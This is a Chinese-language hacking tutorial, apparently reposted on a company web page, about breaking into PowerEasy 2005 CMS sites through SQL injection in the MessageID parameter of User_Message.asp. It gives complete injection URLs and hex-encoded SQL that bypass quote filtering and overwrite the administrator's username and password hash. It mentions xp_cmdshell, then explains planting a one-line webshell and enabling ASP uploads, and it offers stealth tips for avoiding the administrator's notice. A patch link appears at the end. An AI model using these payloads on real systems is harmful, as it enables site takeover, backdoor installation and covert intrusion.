果洛皆料电子有限公司

入侵動(dòng)易2005

  • 發(fā)布于:2023-11-12
  • 197 人圍觀

影響版本:

標(biāo)準(zhǔn)版 SQL版
企業(yè)版 SQL版
學(xué)校版 SQL版
政府版 SQL版
全功能版 SQL版
免費(fèi)access 版
所有版本(包括免費(fèi)版、商業(yè)SQL版及Access版)
不被影響的版本:2005動(dòng)易ASSESS版
漏洞文件:Admin目錄下 Admin_ChkPurview.asp,Admin_Login.asp,Admin_RootClass_Menu.asp
      User 目錄下 User_Message.asp

等級(jí):嚴(yán)重

描述:
此漏洞影響全部SQL版,如果用SA連接數(shù)據(jù)庫黑客可以拿到系統(tǒng)管理員權(quán)限。如果用普通用戶連接最嚴(yán)重情況,可以備份腳本木馬。一般情況可能改管理員登陸密碼,從而達(dá)到黑客登陸動(dòng)易后臺(tái)??刂普麄€(gè)動(dòng)易系統(tǒng)!
ACCESS版可以得到管理員md5密碼!

主要問題在于 User_Message.asp
http://77169.org/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=90;

MessageID 沒有嚴(yán)格過濾,有注入漏洞。只過濾了 單引號(hào), 這就能擋住聰明的黑客嗎?
我們來看一下,User_Message.asp的源代碼、
————————————————————————————————————

<%
Call PE_Execute("PE_AdminCommon", "User_Message")
%>
——————————————————————————————————————

動(dòng)易系統(tǒng)是不開放源代碼的,User_Message.asp 源代碼的意思就是調(diào)用 PE_AdminCommon.dll 中的 User_Message 函數(shù)。
有人可能要問了這樣的漏洞怎么發(fā)現(xiàn)的呢?
像這樣的文件 只能用分支測(cè)試法 給這個(gè)文件用到的全部變量 都測(cè)試一遍。這是很耗時(shí)的測(cè)試方法。

2,分析漏洞
源程序是不開放的,所以源程序沒什么好分析的。
現(xiàn)在我們來這漏洞入侵動(dòng)易2005 sp1系統(tǒng)。
首先分兩個(gè)版來說
1,SQL版,
(1,發(fā)現(xiàn)注入點(diǎn)
User_Message.asp 文件中的 MessageID 沒有嚴(yán)格過濾。
測(cè)試,加 單引號(hào),
正常返回。如圖一

加 ; ,加 --
都顯示出錯(cuò)。
如圖二:

看提示 就明白有注入點(diǎn)了,加單引號(hào)沒用,應(yīng)當(dāng)是過濾了引號(hào)。沒關(guān)系過濾了單引號(hào) 阻擋不了我們?nèi)肭值牟椒ァ?/P>

(2,繞過單引號(hào)

估計(jì) 注入點(diǎn)基本形式是這樣的   select * from pe_XXX  where MessageID=(注入點(diǎn))
我們想注入這樣的文件,就要繞過單引號(hào)。
下面這樣的代碼 我們可以用它來繞過單引號(hào)。

declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
上面這語句主要是用來繞過單引號(hào)。不過我們要改一下,
declare @a sysname
select @a=
update pe_admin set password=@a where id=1--


); declare @a sysname select @a=0x3300 update pe_admin set password=@a where id=1--

完整的url
http://192.168.1.254/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=3);%20declare%20@a%20sysname%20select%20@a=0x3300%20update%20pe_admin%20set%20password=@a%20where%20id=1--
這條語句是給后臺(tái)的id=1的管理員密碼改成 3。因?yàn)锧a=0x3300 ,0x3300 是16進(jìn)制的3.
執(zhí)行成功之后如圖3:

(3,得到管理員權(quán)限
分兩步:
一,關(guān)聯(lián)前臺(tái)username
動(dòng)易后臺(tái)登陸 要關(guān)聯(lián)前臺(tái)用戶。
先設(shè)置后臺(tái)管理員的前臺(tái)用戶名,為我們注冊(cè)的用戶。

declare @a sysname
select @a=
update pe_admin set username=@a where id=1--

說到這里,我要講一下@a 如果改
比如我們注冊(cè)的用戶為111111
@a=0x310031003100310031003100
我怎么知道的呢?隨便在網(wǎng)上找一個(gè)16進(jìn)制轉(zhuǎn)換器就知道了,
比如 用這個(gè)工具轉(zhuǎn)換也行。
如圖4

所以注入語句成了這樣的
); declare @a sysname select @a=0x310031003100310031003100 update pe_admin set username=@a where id=1--


二,改后臺(tái)登陸的password
接著給后臺(tái)密碼改成我們的密碼。我們就可以想辦法登陸了。
declare @a sysname
select @a=
update pe_admin set password=@a where id=1--

我們改后臺(tái)密碼,要改成已經(jīng)加密的md5密碼
比如我們提供一個(gè),469e80d32c0559f8 這是admin888加密之后的MD5密碼。
@a=0x3400360039006500380030006400330032006300300035003500390066003800
所以構(gòu)造注入語句
); declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800 update pe_admin set password=@a where id=1--

大家感覺很簡(jiǎn)單吧!一般我們不這么做,教程 寫給新手看的,不能太難。
在真正的黑客行為中,如果給人家的后臺(tái)密碼改了,管理員登陸不上去。人家必然會(huì)發(fā)現(xiàn)的。
所以 給高手提供思路 自己研究一下。
比如
1,可以插入一個(gè)管理員 用完之后刪除
2,可以先暴出管理員密碼,用完之后,再還原。


(4,上傳木馬
1,rootclass_menu_config.asp 文件中的菜單其它特效 中插入一句話木馬。
如圖 5

插入一句話木馬之后,你可以用客戶端連接了。

2,給上傳屬性改成可以上傳ASP類型。上傳時(shí)抓包 給最后一個(gè)加上結(jié)束符。(類似于動(dòng)網(wǎng)上傳)
SQL版我只說這么多了,如果你上傳不了木馬,或者是找不到后臺(tái)管理地址,來我們論壇提問吧!有我們有辦法解決。 http://bbs.77169.com

2,ACCESS版

(1,如果發(fā)現(xiàn)漏洞
在測(cè)試免費(fèi)版的動(dòng)易系統(tǒng)之時(shí),發(fā)現(xiàn)免費(fèi)的ACCESS版動(dòng)易用戶控制面板沒有 發(fā)送短消息的功能。
不過,動(dòng)易留有相關(guān)接口,登陸用戶控制面板 直接瀏覽 User_Message.asp 也可以注入.

(2,注入過程(略)
mssql和access 注入過程是點(diǎn)不一樣的?;鞠嗤@也留給大家自己去測(cè)試吧。


三,解決方案

臨時(shí)解決方案:

解決方案(臨時(shí)):更新補(bǔ)丁包中的三個(gè)文件,并先刪除user目錄下的User_Message.asp文件。SP2正式版中將會(huì)修復(fù)此漏洞,請(qǐng)目前使用SP1的用戶盡快打好此補(bǔ)丁。

補(bǔ)丁下載: http://download.asp163.net/PowerEasy2005SP1Patch.rar

感謝llikz、怪狗等網(wǎng)友對(duì)系統(tǒng)進(jìn)行安全檢測(cè)并無私提供相關(guān)漏洞信息!

萬企互聯(lián)
標(biāo)簽: